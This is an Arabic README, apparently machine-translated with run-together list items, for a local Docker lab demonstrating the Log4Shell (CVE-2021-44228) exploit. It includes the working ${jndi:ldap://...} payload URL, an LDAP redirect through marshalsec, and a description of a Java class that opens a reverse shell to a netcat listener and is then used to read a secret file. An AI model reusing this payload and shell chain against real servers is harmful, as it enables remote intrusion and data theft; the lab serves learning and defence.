
يقدم كيفية استغلال ثغرة CVE-2021-44228.
مشروع قائم على Java يوضح كيفية استغلال ثغرة CVE-2021-44228.
jdk1.8.0_181 الذي تم إنشاؤه أثناء الاستخراج.make all لبناء جميع المشاريع وإنشاء صورة Docker مع الخدمة المعرضة للخطر.make start-vulnerable-service لبدء حاوية Docker تشغل الخدمة المراد استغلالها. ستكون الخدمة متاحة عبر المنفذ 8080 على الجهاز المحليmake start-nc لبدء مستمع TCP الذي سينتظر إنشاء الاتصال بالخادم المخترق.make start-exploiter لبدء البرنامج الذي سيساعدنا في استغلال الثغرة.make start-nc). قد تكون تلقيت رسالة مثل Connection received on 172.24.0.2 46638 (قد لا يكون عنوان IP ومنفذ TCP مماثلين لما هو معروض هنا). هذا يعني أن الاستغلال نجح وأصبح لدينا الآن شل متصل بالخادم/حاوية Docker.whoami. قد تتلقى كمخرج.قبل الإجابة على ذلك، دعنا نلقي نظرة على العمليات التي تم إنشاؤها خلال التدفق.

ستقدم حاوية Docker هذه خدمة HTTP بسيطة مسؤولة عن استقبال طلبات GET على المسار /log مع معامل input. بمجرد استلامها، تسجل الإدخال على وحدة التحكم.
من أجل استغلال الثغرة، يلزم تكوينات محددة:
1.8.0_181. هذا ضروري للسماح بتحميل فئة Java من خدمة خارجية.spring-boot-starter-logging:2.6.1 الافتراضي بـ spring-boot-starter-log4j2:2.6.1. الأخير يجلب log4j-core:2.14.1 إلى المشروع، وهو إصدار معرض لـ CVE-2021-44228.
1.8.0_181.لا توجد تفسيرات أو تعديلات كبيرة هنا. هذا برنامج بسيط يُستخدم لقراءة وكتابة البيانات عبر بروتوكولات TCP و UDP. سنستخدمه للاستمرار في الاستماع للاتصالات TCP الواردة على المنفذ 9001 (شيء آخر سيفتح هذا الاتصال لنا على جانب الخادم. 😉).
بمجرد إنشاء الاتصال، سيتم إخراج جميع البيانات الواردة على وحدة التحكم. أيضًا، سيتم إرسال جميع المدخلات المكتوبة عبر هذا الاتصال.
الآن هنا تبدأ المتعة!
يغلف هذا البرنامج عدة خطوات مطلوبة لاستغلال الثغرة. دعنا نقسمها:
لتشغيل هذا البرنامج، نحتاج إلى إبلاغ ثلاث معاملات:
بمجرد بدء البرنامج، سيكتب كود Java بناءً على قالب. يتطلب هذا القالب وسيطرين: عنوان IP ومنفذ Netcat.
بمجرد كتابة الكود، سيقوم البرنامج بتجميعه إلى ملف فئة ثنائي باستخدام مترجم Java (javac) إصدار 1.8.0_181. هذا مهم للحفاظ على نفس إصدار الكود مثل الخدمة المستغلة.
تحتوي فئة Java الخاصة بالاستغلال على بنية بسيطة إلى حد ما. في الباني الخاص بها، يوجد تعليمة تطلب من نظام التشغيل إنشاء برنامج شل. بمجرد إنشائه، تفتح الفئة اتصال TCP مع Netcat، وتربط مدخلات ومخرجات الشل واتصال TCP، وتحتجز تنفيذ آلة Java الافتراضية في حلقة حتى يتم إغلاق الاتصال بواسطة Netcat. بمجرد الخروج من الحلقة، يستمر الباني كما لو لم يحدث شيء.
يفتح المستغل عملية فرعية تطلب تنفيذ برنامج Java Marshalsec. برنامج Marshalsec متاح في مشروع mbechler/marchalsec على Github.
إلى جانب وظائف أخرى، يقوم بإدارة طلبات LDAP ويمكن استخدامه لطلب حل الاتصالات الواردة للطلبات عن طريق تنزيل فئات Java من مصدر خارجي. في حالتنا، سنستخدمه لطلب تنزيل الاتصالات الواردة لفئة Java الخاصة بنا Exploit من خدمة HTTP.
بمجرد أن يقوم برنامج المستغل بإنشاء فئة Java المزيفة، سيبدأ خدمة HTTP برد واحد: فئة Java الثنائية الخاصة بالاستغلال.
باختصار، عندما تطلب الخدمة المعرضة للخطر تحميل الفئة الخارجية، ستقرأ هذه الخدمة ملف فئة Java الثنائي وترسله مرة أخرى إلى الخدمة المعرضة للخطر. بهذه البساطة!
بمجرد أن يكون كل شيء جاهزًا ويعمل، سيقوم البرنامج بعد ذلك بإخراج طلب HTTP المطلوب لبدء الاستغلال. ما عليك سوى نسخه ولصقه في متصفحك المفضل أو استخدام curl عبر محطة طرفية، أيهما يناسبك!
سيكون الطلب مشابهًا لهذا:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
نظرًا لأن معاملات الاستعلام تحتوي على أحرف خاصة، فإنها تحتاج إلى ترميز حتى يتمكن المتصفح من قبولها. إذا قمنا بفك تشفيرها، ستكون الرسالة:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
فيما يلي مخطط مبسط لما يحدث بمجرد إرسال الطلب:

سأحاول استخدامه لشرح ما يحدث بعد ذلك:
${jndi:ldap://host.docker.internal:1389/a}.host.docker.internal:1389 باستخدام المفتاح a (اسم مميز LDAP باهت وغير صالح ولكن، مهلاً، طالما أنه يعمل...). ثم يرسل log4j طلبًا إلى هذا العنوان بهدف استرداد القيمة.ملاحظة: host.docker.internal هو عنوان صالح من خدمة Docker للوصول إلى الجهاز الفعلي الذي يعمل عليه.
host.docker.internal:8000 باسم Exploit لحل الطلب.host.docker.internal:8000 يطلب الحصول على مورد متاح في المسار /Exploit.Exploit.Exploit().Exploit() برنامج شل على الخادم، وتطلب فتح قناة TCP مع host.docker.internal:9001.Exploit() بربط مدخلات ومخرجات الشل مع اتصال TCP وتحجز سلسلة آلة Java الافتراضية في حلقة حتى يتم إغلاق اتصال TCP من الجانب الآخر.TBD
مشروع kozmer/log4j-shell-poc على Github - ساعدني في فهم كيفية عمل الاستغلال. شكرًا لجميع من ساهم في هذا المشروع!
مشروع mbechler/marchalsec على Github - لم أكن لأتمكن من العمل مع اتصال LDAP وإعادة التوجيه بالسرعة التي قمت بها بدون هذا المشروع. شكرًا لكم يا رفاق!
فيديو SrcCodes حول ثغرة Log4j - فيديو موضح جيدًا يقدم كيفية بدء الاستغلال على برنامج قائم على Spring.
فيديو Nowcomm التجريبي لاستغلال CVE-2021-44228 - فيديو جميل يشرح كيفية استغلال CVE-2021-44228 على Apache Solr. اضطررت لمشاهدة النصف الثاني حوالي عشر مرات لأفهم ما كان يحدث بالفعل! 😛
rootcat ../private-directory/my-secret-file.txt لترى ما يحدث. 🙂CTRL+C لإغلاق الاتصال.CTRL+C في المحطات الأخرى لمقاطعة العمليات.